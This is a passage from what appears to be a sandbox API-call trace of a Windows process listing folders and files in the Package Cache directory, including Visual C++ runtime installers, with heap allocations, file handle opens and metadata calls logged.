nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.544] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.544] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eda8 [0092.544] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.545] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.545] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.545] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.545] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.546] NtClose (Handle=0x178) returned 0x0 [0092.546] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eda8) returned 1 [0092.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.546] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eda8 [0092.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.547] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.547] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0092.547] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.548] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="")) returned 1 [0092.548] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="")) returned 0 [0092.548] GetLastError () returned 0x12 [0092.548] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.548] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.548] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.548] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="")) returned 1 [0092.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.549] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.549] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.549] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.550] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.550] NtClose (Handle=0x178) returned 0x0 [0092.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.552] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0092.552] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.552] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87bcb00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0xa87bcb00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0xa87bcb00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.553] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f90f8 [0092.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f3d8 [0092.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.554] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="")) returned 1 [0092.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0092.556] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9118 [0092.556] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x12541e8 [0092.557] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.557] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="")) returned 0 [0092.557] GetLastError () returned 0x12 [0092.557] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0092.557] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.557] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.557] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87bcb00, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0xa87bcb00, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0xa87bcb00, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.557] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="")) returned 1 [0092.557] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4374a500, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x4374a500, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x4374a500, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="")) returned 0 [0092.557] GetLastError () returned 0x12 [0092.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.558] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0092.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.558] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="")) returned 0 [0092.558] GetLastError () returned 0x12 [0092.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eca0) returned 1 [0092.559] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eda8) returned 1 [0092.559] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.560] GetLastError () returned 0x12 [0092.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.560] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.560] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="")) returned 1 [0092.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.561] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.562] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0092.562] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.562] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.563] NtClose (Handle=0x15c) returned 0x0 [0092.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.564] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0092.564] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.564] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a127460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1c821ca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0092.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9138 [0092.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eda8 [0092.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.567] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="")) returned 1 [0092.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.569] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="")) returned 0 [0092.569] GetLastError () returned 0x12 [0092.569] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9200 [0092.569] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.569] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, 